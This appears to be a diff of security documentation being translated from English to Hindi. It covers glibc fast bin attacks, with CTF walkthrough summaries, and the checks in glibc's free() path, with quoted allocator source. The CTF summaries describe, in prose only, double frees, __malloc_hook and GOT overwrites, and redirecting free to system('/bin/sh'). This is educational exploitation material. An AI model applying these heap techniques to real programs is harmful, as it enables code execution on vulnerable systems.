> यदि वैश्विक चर **`global_max_fast`** के मान को एक बड़े नंबर से ओवरराइट करना संभव है, तो यह बड़े आकार के फास्ट बिन चंक्स उत्पन्न करने की अनुमति देता है, जो संभावित रूप से उन परिदृश्यों में फास्ट बिन हमले करने की अनुमति देता है जहाँ पहले यह संभव नहीं था। यह स्थिति [large bin attack](large-bin-attack.md) और [unsorted bin attack](unsorted-bin-attack.md) के संदर्भ में उपयोगी है।
|
||||
|
||||
## Examples
|
||||
## उदाहरण
|
||||
|
||||
- **CTF** [**https://guyinatuxedo.github.io/28-fastbin_attack/0ctf_babyheap/index.html**](https://guyinatuxedo.github.io/28-fastbin_attack/0ctf_babyheap/index.html)**:**
|
||||
- It's possible to allocate chunks, free them, read their contents and fill them (with an overflow vulnerability).
|
||||
- **Consolidate chunk for infoleak**: The technique is basically to abuse the overflow to create a fake `prev_size` so one previous chunks is put inside a bigger one, so when allocating the bigger one containing another chunk, it's possible to print it's data an leak an address to libc (`main_arena+88`).
|
||||
- **Overwrite malloc hook**: For this, and abusing the previous overlapping situation, it was possible to have 2 chunks that were pointing to the same memory. Therefore, freeing them both (freeing another chunk in between to avoid protections) it was possible to have the same chunk in the fast bin 2 times. Then, it was possible to allocate it again, overwrite the address to the next chunk to point a bit before `__malloc_hook` (so it points to an integer that malloc thinks is a free size - another bypass), allocate it again and then allocate another chunk that will receive an address to malloc hooks.\
|
||||
Finally a **one gadget** was written in there.
|
||||
- चंक्स आवंटित करना, उन्हें मुक्त करना, उनके सामग्री को पढ़ना और उन्हें भरना (एक ओवरफ्लो भेद्यता के साथ) संभव है।
|
||||
- **सूचना लीक के लिए चंक को समेकित करना**: तकनीक मूल रूप से ओवरफ्लो का दुरुपयोग करके एक नकली `prev_size` बनाने के लिए है ताकि एक पिछले चंक्स को एक बड़े में रखा जा सके, इसलिए जब बड़े चंक्स को आवंटित किया जाता है जिसमें एक और चंक होता है, तो इसके डेटा को प्रिंट करना और libc के लिए एक पता लीक करना संभव है (`main_arena+88`)।
|
||||
- **malloc हुक को ओवरराइट करना**: इसके लिए, और पिछले ओवरलैपिंग स्थिति का दुरुपयोग करते हुए, 2 चंक्स को एक ही मेमोरी की ओर इंगित करना संभव था। इसलिए, दोनों को मुक्त करना (सुरक्षाओं से बचने के लिए बीच में एक और चंक को मुक्त करना) यह संभव था कि फास्ट बिन में वही चंक 2 बार हो। फिर, इसे फिर से आवंटित करना संभव था, अगले चंक के पते को `__malloc_hook` से थोड़ा पहले इंगित करने के लिए ओवरराइट करना (ताकि यह एक पूर्णांक की ओर इंगित करे जिसे malloc एक मुक्त आकार मानता है - एक और बायपास), इसे फिर से आवंटित करना और फिर एक और चंक आवंटित करना जो malloc हुक के लिए एक पता प्राप्त करेगा।\
|
||||
अंत में, वहाँ एक **one gadget** लिखा गया था।
|
||||
- **CTF** [**https://guyinatuxedo.github.io/28-fastbin_attack/csaw17_auir/index.html**](https://guyinatuxedo.github.io/28-fastbin_attack/csaw17_auir/index.html)**:**
|
||||
- There is a heap overflow and use after free and double free because when a chunk is freed it's possible to reuse and re-free the pointers
|
||||
- **Libc info leak**: Just free some chunks and they will get a pointer to a part of the main arena location. As you can reuse freed pointers, just read this address.
|
||||
- **Fast bin attack**: All the pointers to the allocations are stored inside an array, so we can free a couple of fast bin chunks and in the last one overwrite the address to point a bit before this array of pointers. Then, allocate a couple of chunks with the same size and we will get first the legit one and then the fake one containing the array of pointers. We can now overwrite this allocation pointers to make the GOT address of `free` point to `system` and then write `"/bin/sh"` in chunk 1 to then call `free(chunk1)` which instead will execute `system("/bin/sh")`.
|
||||
- वहाँ एक हीप ओवरफ्लो और उपयोग के बाद मुक्त और डबल फ्री है क्योंकि जब एक चंक मुक्त होता है तो इसे फिर से उपयोग और फिर से मुक्त करना संभव है।
|
||||
- **Libc सूचना लीक**: बस कुछ चंक्स को मुक्त करें और उन्हें मुख्य एरेना स्थान के एक भाग के लिए एक पता मिलेगा। चूंकि आप मुक्त किए गए प्वाइंटर्स का पुन: उपयोग कर सकते हैं, बस इस पते को पढ़ें।
|
||||
- **फास्ट बिन हमला**: आवंटनों के लिए सभी प्वाइंटर्स एक एरे में संग्रहीत होते हैं, इसलिए हम कुछ फास्ट बिन चंक्स को मुक्त कर सकते हैं और अंतिम में पते को इस प्वाइंटर्स के एरे से थोड़ा पहले इंगित करने के लिए ओवरराइट कर सकते हैं। फिर, समान आकार के कुछ चंक्स आवंटित करें और हम पहले वैध एक और फिर प्वाइंटर्स के एरे को शामिल करने वाला नकली एक प्राप्त करेंगे। अब हम इस आवंटन प्वाइंटर्स को ओवरराइट कर सकते हैं ताकि `free` का GOT पता `system` की ओर इंगित करे और फिर चंक 1 में `"/bin/sh"` लिखें ताकि फिर `free(chunk1)` को कॉल किया जा सके जो इसके बजाय `system("/bin/sh")` को निष्पादित करेगा।
|
||||
- **CTF** [**https://guyinatuxedo.github.io/33-custom_misc_heap/csaw19_traveller/index.html**](https://guyinatuxedo.github.io/33-custom_misc_heap/csaw19_traveller/index.html)
|
||||
- Another example of abusing a one byte overflow to consolidate chunks in the unsorted bin and get a libc infoleak and then perform a fast bin attack to overwrite malloc hook with a one gadget address
|
||||
- एक और उदाहरण एक बाइट ओवरफ्लो का दुरुपयोग करके चंक्स को असंरचित बिन में समेकित करना और एक libc सूचना लीक प्राप्त करना और फिर malloc हुक को एक one gadget पते के साथ ओवरराइट करने के लिए एक फास्ट बिन हमले का प्रदर्शन करना।
|
||||
- **CTF** [**https://guyinatuxedo.github.io/33-custom_misc_heap/csaw18_alienVSsamurai/index.html**](https://guyinatuxedo.github.io/33-custom_misc_heap/csaw18_alienVSsamurai/index.html)
|
||||
- After an infoleak abusing the unsorted bin with a UAF to leak a libc address and a PIE address, the exploit of this CTF used a fast bin attack to allocate a chunk in a place where the pointers to controlled chunks were located so it was possible to overwrite certain pointers to write a one gadget in the GOT
|
||||
- You can find a Fast Bin attack abused through an unsorted bin attack:
|
||||
- Note that it's common before performing fast bin attacks to abuse the free-lists to leak libc/heap addresses (when needed).
|
||||
- एक सूचना लीक के बाद असंरचित बिन का दुरुपयोग करते हुए UAF के साथ libc पता और PIE पता लीक करना, इस CTF का शोषण एक फास्ट बिन हमले का उपयोग करके एक चंक को उस स्थान पर आवंटित करने के लिए किया गया जहाँ नियंत्रित चंक्स के लिए प्वाइंटर्स स्थित थे ताकि कुछ प्वाइंटर्स को ओवरराइट करना संभव हो सके और GOT में एक one gadget लिखना।
|
||||
- आप एक फास्ट बिन हमले को असंरचित बिन हमले के माध्यम से दुरुपयोग करते हुए पा सकते हैं:
|
||||
- ध्यान दें कि फास्ट बिन हमले करने से पहले libc/heap पते लीक करने के लिए फ्री-लिस्ट का दुरुपयोग करना सामान्य है (जब आवश्यक हो)।
|
||||
- [**Robot Factory. BlackHat MEA CTF 2022**](https://7rocky.github.io/en/ctf/other/blackhat-ctf/robot-factory/)
|
||||
- We can only allocate chunks of size greater than `0x100`.
|
||||
- Overwrite `global_max_fast` using an Unsorted Bin attack (works 1/16 times due to ASLR, because we need to modify 12 bits, but we must modify 16 bits).
|
||||
- Fast Bin attack to modify the a global array of chunks. This gives an arbitrary read/write primitive, which allows to modify the GOT and set some function to point to `system`.
|
||||
|
||||
{{#ref}}
|
||||
unsorted-bin-attack.md
|
||||
{{#endref}}
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
- हम केवल `0x100` से बड़े आकार के चंक्स आवंटित कर सकते हैं।
|
||||
- एक असंरचित बिन हमले का उपयोग करके `global_max_fast` को ओवरराइट करें (ASLR के कारण 1/16 बार काम करता है, क्योंकि हमें 12 बिट्स को संशोधित करने की आवश्यकता है, लेकिन हमें 16 बिट्स को संशोधित करना चाहिए)।
|
||||
- चंक्स के एक वैश्विक एरे को संशोधित करने के लिए फास्ट बिन हमला। यह एक मनमाना पढ़ने/लिखने की प्राइमिटिव देता है, जो GOT को संशोधित करने और कुछ कार्यों को `system` की ओर इंगित करने की अनुमति देता है।
|
||||
|
||||
@ -2,6 +2,6 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
##
|
||||
##
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -4,93 +4,90 @@
|
||||
|
||||
## Free Order Summary <a href="#libc_free" id="libc_free"></a>
|
||||
|
||||
(No checks are explained in this summary and some case have been omitted for brevity)
|
||||
(इस सारांश में कोई जांचें समझाई नहीं गई हैं और कुछ मामलों को संक्षिप्तता के लिए छोड़ दिया गया है)
|
||||
|
||||
1. If the address is null don't do anything
|
||||
2. If the chunk was mmaped, mummap it and finish
|
||||
3. Call `_int_free`:
|
||||
1. If possible, add the chunk to the tcache
|
||||
2. If possible, add the chunk to the fast bin
|
||||
3. Call `_int_free_merge_chunk` to consolidate the chunk is needed and add it to the unsorted list
|
||||
1. यदि पता null है तो कुछ न करें
|
||||
2. यदि चंक mmaped था, तो इसे mummap करें और समाप्त करें
|
||||
3. `_int_free` कॉल करें:
|
||||
1. यदि संभव हो, तो चंक को tcache में जोड़ें
|
||||
2. यदि संभव हो, तो चंक को fast bin में जोड़ें
|
||||
3. यदि आवश्यक हो, तो चंक को समेकित करने के लिए `_int_free_merge_chunk` कॉल करें और इसे असॉर्टेड सूची में जोड़ें
|
||||
|
||||
## \_\_libc_free <a href="#libc_free" id="libc_free"></a>
|
||||
|
||||
`Free` calls `__libc_free`.
|
||||
`Free` `__libc_free` को कॉल करता है।
|
||||
|
||||
- If the address passed is Null (0) don't do anything.
|
||||
- Check pointer tag
|
||||
- If the chunk is `mmaped`, `mummap` it and that all
|
||||
- If not, add the color and call `_int_free` over it
|
||||
- यदि दिया गया पता Null (0) है तो कुछ न करें।
|
||||
- पॉइंटर टैग की जांच करें
|
||||
- यदि चंक `mmaped` है, तो इसे `mummap` करें और बस इतना ही
|
||||
- यदि नहीं, तो रंग जोड़ें और इसके ऊपर `_int_free` कॉल करें
|
||||
|
||||
<details>
|
||||
|
||||
<summary>__lib_free code</summary>
|
||||
|
||||
```c
|
||||
void
|
||||
__libc_free (void *mem)
|
||||
{
|
||||
mstate ar_ptr;
|
||||
mchunkptr p; /* chunk corresponding to mem */
|
||||
mstate ar_ptr;
|
||||
mchunkptr p; /* chunk corresponding to mem */
|
||||
|
||||
if (mem == 0) /* free(0) has no effect */
|
||||
return;
|
||||
if (mem == 0) /* free(0) has no effect */
|
||||
return;
|
||||
|
||||
/* Quickly check that the freed pointer matches the tag for the memory.
|
||||
This gives a useful double-free detection. */
|
||||
if (__glibc_unlikely (mtag_enabled))
|
||||
*(volatile char *)mem;
|
||||
/* Quickly check that the freed pointer matches the tag for the memory.
|
||||
This gives a useful double-free detection. */
|
||||
if (__glibc_unlikely (mtag_enabled))
|
||||
*(volatile char *)mem;
|
||||
|
||||
int err = errno;
|
||||
int err = errno;
|
||||
|
||||
p = mem2chunk (mem);
|
||||
p = mem2chunk (mem);
|
||||
|
||||
if (chunk_is_mmapped (p)) /* release mmapped memory. */
|
||||
{
|
||||
/* See if the dynamic brk/mmap threshold needs adjusting.
|
||||
Dumped fake mmapped chunks do not affect the threshold. */
|
||||
if (!mp_.no_dyn_threshold
|
||||
&& chunksize_nomask (p) > mp_.mmap_threshold
|
||||
&& chunksize_nomask (p) <= DEFAULT_MMAP_THRESHOLD_MAX)
|
||||
{
|
||||
mp_.mmap_threshold = chunksize (p);
|
||||
mp_.trim_threshold = 2 * mp_.mmap_threshold;
|
||||
LIBC_PROBE (memory_mallopt_free_dyn_thresholds, 2,
|
||||
mp_.mmap_threshold, mp_.trim_threshold);
|
||||
}
|
||||
munmap_chunk (p);
|
||||
}
|
||||
else
|
||||
{
|
||||
MAYBE_INIT_TCACHE ();
|
||||
if (chunk_is_mmapped (p)) /* release mmapped memory. */
|
||||
{
|
||||
/* See if the dynamic brk/mmap threshold needs adjusting.
|
||||
Dumped fake mmapped chunks do not affect the threshold. */
|
||||
if (!mp_.no_dyn_threshold
|
||||
&& chunksize_nomask (p) > mp_.mmap_threshold
|
||||
&& chunksize_nomask (p) <= DEFAULT_MMAP_THRESHOLD_MAX)
|
||||
{
|
||||
mp_.mmap_threshold = chunksize (p);
|
||||
mp_.trim_threshold = 2 * mp_.mmap_threshold;
|
||||
LIBC_PROBE (memory_mallopt_free_dyn_thresholds, 2,
|
||||
mp_.mmap_threshold, mp_.trim_threshold);
|
||||
}
|
||||
munmap_chunk (p);
|
||||
}
|
||||
else
|
||||
{
|
||||
MAYBE_INIT_TCACHE ();
|
||||
|
||||
/* Mark the chunk as belonging to the library again. */
|
||||
(void)tag_region (chunk2mem (p), memsize (p));
|
||||
/* Mark the chunk as belonging to the library again. */
|
||||
(void)tag_region (chunk2mem (p), memsize (p));
|
||||
|
||||
ar_ptr = arena_for_chunk (p);
|
||||
_int_free (ar_ptr, p, 0);
|
||||
}
|
||||
ar_ptr = arena_for_chunk (p);
|
||||
_int_free (ar_ptr, p, 0);
|
||||
}
|
||||
|
||||
__set_errno (err);
|
||||
__set_errno (err);
|
||||
}
|
||||
libc_hidden_def (__libc_free)
|
||||
```
|
||||
|
||||
</details>
|
||||
|
||||
## \_int_free <a href="#int_free" id="int_free"></a>
|
||||
|
||||
### \_int_free start <a href="#int_free" id="int_free"></a>
|
||||
### \_int_free शुरू <a href="#int_free" id="int_free"></a>
|
||||
|
||||
It starts with some checks making sure:
|
||||
यह कुछ जांचों के साथ शुरू होता है यह सुनिश्चित करने के लिए:
|
||||
|
||||
- the **pointer** is **aligned,** or trigger error `free(): invalid pointer`
|
||||
- the **size** isn't less than the minimum and that the **size** is also **aligned** or trigger error: `free(): invalid size`
|
||||
- **पॉइंटर** **संरेखित** है, या त्रुटि `free(): invalid pointer` उत्पन्न करता है
|
||||
- **आकार** न्यूनतम से कम नहीं है और **आकार** भी **संरेखित** है या त्रुटि उत्पन्न करता है: `free(): invalid size`
|
||||
|
||||
<details>
|
||||
|
||||
<summary>_int_free start</summary>
|
||||
|
||||
<summary>_int_free शुरू</summary>
|
||||
```c
|
||||
// From https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c#L4493C1-L4513C28
|
||||
|
||||
@ -99,288 +96,279 @@ It starts with some checks making sure:
|
||||
static void
|
||||
_int_free (mstate av, mchunkptr p, int have_lock)
|
||||
{
|
||||
INTERNAL_SIZE_T size; /* its size */
|
||||
mfastbinptr *fb; /* associated fastbin */
|
||||
INTERNAL_SIZE_T size; /* its size */
|
||||
mfastbinptr *fb; /* associated fastbin */
|
||||
|
||||
size = chunksize (p);
|
||||
size = chunksize (p);
|
||||
|
||||
/* Little security check which won't hurt performance: the
|
||||
allocator never wraps around at the end of the address space.
|
||||
Therefore we can exclude some size values which might appear
|
||||
here by accident or by "design" from some intruder. */
|
||||
if (__builtin_expect ((uintptr_t) p > (uintptr_t) -size, 0)
|
||||
|| __builtin_expect (misaligned_chunk (p), 0))
|
||||
malloc_printerr ("free(): invalid pointer");
|
||||
/* We know that each chunk is at least MINSIZE bytes in size or a
|
||||
multiple of MALLOC_ALIGNMENT. */
|
||||
if (__glibc_unlikely (size < MINSIZE || !aligned_OK (size)))
|
||||
malloc_printerr ("free(): invalid size");
|
||||
/* Little security check which won't hurt performance: the
|
||||
allocator never wraps around at the end of the address space.
|
||||
Therefore we can exclude some size values which might appear
|
||||
here by accident or by "design" from some intruder. */
|
||||
if (__builtin_expect ((uintptr_t) p > (uintptr_t) -size, 0)
|
||||
|| __builtin_expect (misaligned_chunk (p), 0))
|
||||
malloc_printerr ("free(): invalid pointer");
|
||||
/* We know that each chunk is at least MINSIZE bytes in size or a
|
||||
multiple of MALLOC_ALIGNMENT. */
|
||||
if (__glibc_unlikely (size < MINSIZE || !aligned_OK (size)))
|
||||
malloc_printerr ("free(): invalid size");
|
||||
|
||||
check_inuse_chunk(av, p);
|
||||
check_inuse_chunk(av, p);
|
||||
```
|
||||
|
||||
</details>
|
||||
|
||||
### \_int_free tcache <a href="#int_free" id="int_free"></a>
|
||||
|
||||
It'll first try to allocate this chunk in the related tcache. However, some checks are performed previously. It'll loop through all the chunks of the tcache in the same index as the freed chunk and:
|
||||
यह पहले संबंधित tcache में इस चंक को आवंटित करने की कोशिश करेगा। हालाँकि, कुछ जांच पहले की जाती हैं। यह मुक्त चंक के समान अनुक्रमांक में tcache के सभी चंक्स के माध्यम से लूप करेगा और:
|
||||
|
||||
- If there are more entries than `mp_.tcache_count`: `free(): too many chunks detected in tcache`
|
||||
- If the entry is not aligned: free(): `unaligned chunk detected in tcache 2`
|
||||
- if the freed chunk was already freed and is present as chunk in the tcache: `free(): double free detected in tcache 2`
|
||||
- यदि `mp_.tcache_count` से अधिक प्रविष्टियाँ हैं: `free(): too many chunks detected in tcache`
|
||||
- यदि प्रविष्टि संरेखित नहीं है: free(): `unaligned chunk detected in tcache 2`
|
||||
- यदि मुक्त चंक पहले ही मुक्त किया गया था और tcache में चंक के रूप में मौजूद है: `free(): double free detected in tcache 2`
|
||||
|
||||
If all goes well, the chunk is added to the tcache and the functions returns.
|
||||
यदि सब कुछ ठीक होता है, तो चंक को tcache में जोड़ा जाता है और फ़ंक्शन लौटता है।
|
||||
|
||||
<details>
|
||||
|
||||
<summary>_int_free tcache</summary>
|
||||
|
||||
```c
|
||||
// From https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c#L4515C1-L4554C7
|
||||
#if USE_TCACHE
|
||||
{
|
||||
size_t tc_idx = csize2tidx (size);
|
||||
if (tcache != NULL && tc_idx < mp_.tcache_bins)
|
||||
{
|
||||
/* Check to see if it's already in the tcache. */
|
||||
tcache_entry *e = (tcache_entry *) chunk2mem (p);
|
||||
{
|
||||
size_t tc_idx = csize2tidx (size);
|
||||
if (tcache != NULL && tc_idx < mp_.tcache_bins)
|
||||
{
|
||||
/* Check to see if it's already in the tcache. */
|
||||
tcache_entry *e = (tcache_entry *) chunk2mem (p);
|
||||
|
||||
/* This test succeeds on double free. However, we don't 100%
|
||||
trust it (it also matches random payload data at a 1 in
|
||||
2^<size_t> chance), so verify it's not an unlikely
|
||||
coincidence before aborting. */
|
||||
if (__glibc_unlikely (e->key == tcache_key))
|
||||
{
|
||||
tcache_entry *tmp;
|
||||
size_t cnt = 0;
|
||||
LIBC_PROBE (memory_tcache_double_free, 2, e, tc_idx);
|
||||
for (tmp = tcache->entries[tc_idx];
|
||||
tmp;
|
||||
tmp = REVEAL_PTR (tmp->next), ++cnt)
|
||||
{
|
||||
if (cnt >= mp_.tcache_count)
|
||||
malloc_printerr ("free(): too many chunks detected in tcache");
|
||||
if (__glibc_unlikely (!aligned_OK (tmp)))
|
||||
malloc_printerr ("free(): unaligned chunk detected in tcache 2");
|
||||
if (tmp == e)
|
||||
malloc_printerr ("free(): double free detected in tcache 2");
|
||||
/* If we get here, it was a coincidence. We've wasted a
|
||||
few cycles, but don't abort. */
|
||||
}
|
||||
}
|
||||
/* This test succeeds on double free. However, we don't 100%
|
||||
trust it (it also matches random payload data at a 1 in
|
||||
2^<size_t> chance), so verify it's not an unlikely
|
||||
coincidence before aborting. */
|
||||
if (__glibc_unlikely (e->key == tcache_key))
|
||||
{
|
||||
tcache_entry *tmp;
|
||||
size_t cnt = 0;
|
||||
LIBC_PROBE (memory_tcache_double_free, 2, e, tc_idx);
|
||||
for (tmp = tcache->entries[tc_idx];
|
||||
tmp;
|
||||
tmp = REVEAL_PTR (tmp->next), ++cnt)
|
||||
{
|
||||
if (cnt >= mp_.tcache_count)
|
||||
malloc_printerr ("free(): too many chunks detected in tcache");
|
||||
if (__glibc_unlikely (!aligned_OK (tmp)))
|
||||
malloc_printerr ("free(): unaligned chunk detected in tcache 2");
|
||||
if (tmp == e)
|
||||
malloc_printerr ("free(): double free detected in tcache 2");
|
||||
/* If we get here, it was a coincidence. We've wasted a
|
||||
few cycles, but don't abort. */
|
||||
}
|
||||
}
|
||||
|
||||
if (tcache->counts[tc_idx] < mp_.tcache_count)
|
||||
{
|
||||
tcache_put (p, tc_idx);
|
||||
return;
|
||||
}
|
||||
}
|
||||
}
|
||||
if (tcache->counts[tc_idx] < mp_.tcache_count)
|
||||
{
|
||||
tcache_put (p, tc_idx);
|
||||
return;
|
||||
}
|
||||
}
|
||||
}
|
||||
#endif
|
||||
```
|
||||
|
||||
</details>
|
||||
|
||||
### \_int_free fast bin <a href="#int_free" id="int_free"></a>
|
||||
### \_int_free फास्ट बिन <a href="#int_free" id="int_free"></a>
|
||||
|
||||
Start by checking that the size is suitable for fast bin and check if it's possible to set it close to the top chunk.
|
||||
शुरुआत करें यह जांचने से कि आकार फास्ट बिन के लिए उपयुक्त है और यह जांचें कि क्या इसे शीर्ष चंक के करीब सेट करना संभव है।
|
||||
|
||||
Then, add the freed chunk at the top of the fast bin while performing some checks:
|
||||
फिर, कुछ जांच करते हुए मुक्त चंक को फास्ट बिन के शीर्ष पर जोड़ें:
|
||||
|
||||
- If the size of the chunk is invalid (too big or small) trigger: `free(): invalid next size (fast)`
|
||||
- If the added chunk was already the top of the fast bin: `double free or corruption (fasttop)`
|
||||
- If the size of the chunk at the top has a different size of the chunk we are adding: `invalid fastbin entry (free)`
|
||||
- यदि चंक का आकार अमान्य है (बहुत बड़ा या छोटा) तो ट्रिगर करें: `free(): invalid next size (fast)`
|
||||
- यदि जोड़ा गया चंक पहले से ही फास्ट बिन के शीर्ष पर था: `double free or corruption (fasttop)`
|
||||
- यदि शीर्ष पर चंक का आकार उस चंक के आकार से भिन्न है जिसे हम जोड़ रहे हैं: `invalid fastbin entry (free)`
|
||||
|
||||
<details>
|
||||
|
||||
<summary>_int_free Fast Bin</summary>
|
||||
|
||||
<summary>_int_free फास्ट बिन</summary>
|
||||
```c
|
||||
// From https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c#L4556C2-L4631C4
|
||||
// From https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c#L4556C2-L4631C4
|
||||
|
||||
/*
|
||||
If eligible, place chunk on a fastbin so it can be found
|
||||
and used quickly in malloc.
|
||||
*/
|
||||
/*
|
||||
If eligible, place chunk on a fastbin so it can be found
|
||||
and used quickly in malloc.
|
||||
*/
|
||||
|
||||
if ((unsigned long)(size) <= (unsigned long)(get_max_fast ())
|
||||
if ((unsigned long)(size) <= (unsigned long)(get_max_fast ())
|
||||
|
||||
#if TRIM_FASTBINS
|
||||
/*
|
||||
If TRIM_FASTBINS set, don't place chunks
|
||||
bordering top into fastbins
|
||||
*/
|
||||
&& (chunk_at_offset(p, size) != av->top)
|
||||
/*
|
||||
If TRIM_FASTBINS set, don't place chunks
|
||||
bordering top into fastbins
|
||||
*/
|
||||
&& (chunk_at_offset(p, size) != av->top)
|
||||
#endif
|
||||
) {
|
||||
) {
|
||||
|
||||
if (__builtin_expect (chunksize_nomask (chunk_at_offset (p, size))
|
||||
<= CHUNK_HDR_SZ, 0)
|
||||
|| __builtin_expect (chunksize (chunk_at_offset (p, size))
|
||||
>= av->system_mem, 0))
|
||||
{
|
||||
bool fail = true;
|
||||
/* We might not have a lock at this point and concurrent modifications
|
||||
of system_mem might result in a false positive. Redo the test after
|
||||
getting the lock. */
|
||||
if (!have_lock)
|
||||
{
|
||||
__libc_lock_lock (av->mutex);
|
||||
fail = (chunksize_nomask (chunk_at_offset (p, size)) <= CHUNK_HDR_SZ
|
||||
|| chunksize (chunk_at_offset (p, size)) >= av->system_mem);
|
||||
__libc_lock_unlock (av->mutex);
|
||||
}
|
||||
if (__builtin_expect (chunksize_nomask (chunk_at_offset (p, size))
|
||||
<= CHUNK_HDR_SZ, 0)
|
||||
|| __builtin_expect (chunksize (chunk_at_offset (p, size))
|
||||
>= av->system_mem, 0))
|
||||
{
|
||||
bool fail = true;
|
||||
/* We might not have a lock at this point and concurrent modifications
|
||||
of system_mem might result in a false positive. Redo the test after
|
||||
getting the lock. */
|
||||
if (!have_lock)
|
||||
{
|
||||
__libc_lock_lock (av->mutex);
|
||||
fail = (chunksize_nomask (chunk_at_offset (p, size)) <= CHUNK_HDR_SZ
|
||||
|| chunksize (chunk_at_offset (p, size)) >= av->system_mem);
|
||||
__libc_lock_unlock (av->mutex);
|
||||
}
|
||||
|
||||
if (fail)
|
||||
malloc_printerr ("free(): invalid next size (fast)");
|
||||
}
|
||||
if (fail)
|
||||
malloc_printerr ("free(): invalid next size (fast)");
|
||||
}
|
||||
|
||||
free_perturb (chunk2mem(p), size - CHUNK_HDR_SZ);
|
||||
free_perturb (chunk2mem(p), size - CHUNK_HDR_SZ);
|
||||
|
||||
atomic_store_relaxed (&av->have_fastchunks, true);
|
||||
unsigned int idx = fastbin_index(size);
|
||||
fb = &fastbin (av, idx);
|
||||
atomic_store_relaxed (&av->have_fastchunks, true);
|
||||
unsigned int idx = fastbin_index(size);
|
||||
fb = &fastbin (av, idx);
|
||||
|
||||
/* Atomically link P to its fastbin: P->FD = *FB; *FB = P; */
|
||||
mchunkptr old = *fb, old2;
|
||||
/* Atomically link P to its fastbin: P->FD = *FB; *FB = P; */
|
||||
mchunkptr old = *fb, old2;
|
||||
|
||||
if (SINGLE_THREAD_P)
|
||||
{
|
||||
/* Check that the top of the bin is not the record we are going to
|
||||
add (i.e., double free). */
|
||||
if (__builtin_expect (old == p, 0))
|
||||
malloc_printerr ("double free or corruption (fasttop)");
|
||||
p->fd = PROTECT_PTR (&p->fd, old);
|
||||
*fb = p;
|
||||
}
|
||||
else
|
||||
do
|
||||
{
|
||||
/* Check that the top of the bin is not the record we are going to
|
||||
add (i.e., double free). */
|
||||
if (__builtin_expect (old == p, 0))
|
||||
malloc_printerr ("double free or corruption (fasttop)");
|
||||
old2 = old;
|
||||
p->fd = PROTECT_PTR (&p->fd, old);
|
||||
}
|
||||
while ((old = catomic_compare_and_exchange_val_rel (fb, p, old2))
|
||||
!= old2);
|
||||
if (SINGLE_THREAD_P)
|
||||
{
|
||||
/* Check that the top of the bin is not the record we are going to
|
||||
add (i.e., double free). */
|
||||
if (__builtin_expect (old == p, 0))
|
||||
malloc_printerr ("double free or corruption (fasttop)");
|
||||
p->fd = PROTECT_PTR (&p->fd, old);
|
||||
*fb = p;
|
||||
}
|
||||
else
|
||||
do
|
||||
{
|
||||
/* Check that the top of the bin is not the record we are going to
|
||||
add (i.e., double free). */
|
||||
if (__builtin_expect (old == p, 0))
|
||||
malloc_printerr ("double free or corruption (fasttop)");
|
||||
old2 = old;
|
||||
p->fd = PROTECT_PTR (&p->fd, old);
|
||||
}
|
||||
while ((old = catomic_compare_and_exchange_val_rel (fb, p, old2))
|
||||
!= old2);
|
||||
|
||||
/* Check that size of fastbin chunk at the top is the same as
|
||||
size of the chunk that we are adding. We can dereference OLD
|
||||
only if we have the lock, otherwise it might have already been
|
||||
allocated again. */
|
||||
if (have_lock && old != NULL
|
||||
&& __builtin_expect (fastbin_index (chunksize (old)) != idx, 0))
|
||||
malloc_printerr ("invalid fastbin entry (free)");
|
||||
}
|
||||
/* Check that size of fastbin chunk at the top is the same as
|
||||
size of the chunk that we are adding. We can dereference OLD
|
||||
only if we have the lock, otherwise it might have already been
|
||||
allocated again. */
|
||||
if (have_lock && old != NULL
|
||||
&& __builtin_expect (fastbin_index (chunksize (old)) != idx, 0))
|
||||
malloc_printerr ("invalid fastbin entry (free)");
|
||||
}
|
||||
```
|
||||
|
||||
</details>
|
||||
|
||||
### \_int_free finale <a href="#int_free" id="int_free"></a>
|
||||
|
||||
If the chunk wasn't allocated yet on any bin, call `_int_free_merge_chunk`
|
||||
यदि चंक अभी किसी भी बिन पर आवंटित नहीं किया गया है, तो `_int_free_merge_chunk` को कॉल करें
|
||||
|
||||
<details>
|
||||
|
||||
<summary>_int_free finale</summary>
|
||||
|
||||
```c
|
||||
/*
|
||||
Consolidate other non-mmapped chunks as they arrive.
|
||||
*/
|
||||
Consolidate other non-mmapped chunks as they arrive.
|
||||
*/
|
||||
|
||||
else if (!chunk_is_mmapped(p)) {
|
||||
else if (!chunk_is_mmapped(p)) {
|
||||
|
||||
/* If we're single-threaded, don't lock the arena. */
|
||||
if (SINGLE_THREAD_P)
|
||||
have_lock = true;
|
||||
/* If we're single-threaded, don't lock the arena. */
|
||||
if (SINGLE_THREAD_P)
|
||||
have_lock = true;
|
||||
|
||||
if (!have_lock)
|
||||
__libc_lock_lock (av->mutex);
|
||||
if (!have_lock)
|
||||
__libc_lock_lock (av->mutex);
|
||||
|
||||
_int_free_merge_chunk (av, p, size);
|
||||
_int_free_merge_chunk (av, p, size);
|
||||
|
||||
if (!have_lock)
|
||||
__libc_lock_unlock (av->mutex);
|
||||
}
|
||||
/*
|
||||
If the chunk was allocated via mmap, release via munmap().
|
||||
*/
|
||||
if (!have_lock)
|
||||
__libc_lock_unlock (av->mutex);
|
||||
}
|
||||
/*
|
||||
If the chunk was allocated via mmap, release via munmap().
|
||||
*/
|
||||
|
||||
else {
|
||||
munmap_chunk (p);
|
||||
}
|
||||
else {
|
||||
munmap_chunk (p);
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
</details>
|
||||
|
||||
## \_int_free_merge_chunk
|
||||
|
||||
This function will try to merge chunk P of SIZE bytes with its neighbours. Put the resulting chunk on the unsorted bin list.
|
||||
यह फ़ंक्शन SIZE बाइट्स के चंक P को इसके पड़ोसियों के साथ मर्ज करने की कोशिश करेगा। परिणामी चंक को अनसॉर्टेड बिन सूची में डालें।
|
||||
|
||||
Some checks are performed:
|
||||
कुछ जांचें की जाती हैं:
|
||||
|
||||
- If the chunk is the top chunk: `double free or corruption (top)`
|
||||
- If the next chunk is outside of the boundaries of the arena: `double free or corruption (out)`
|
||||
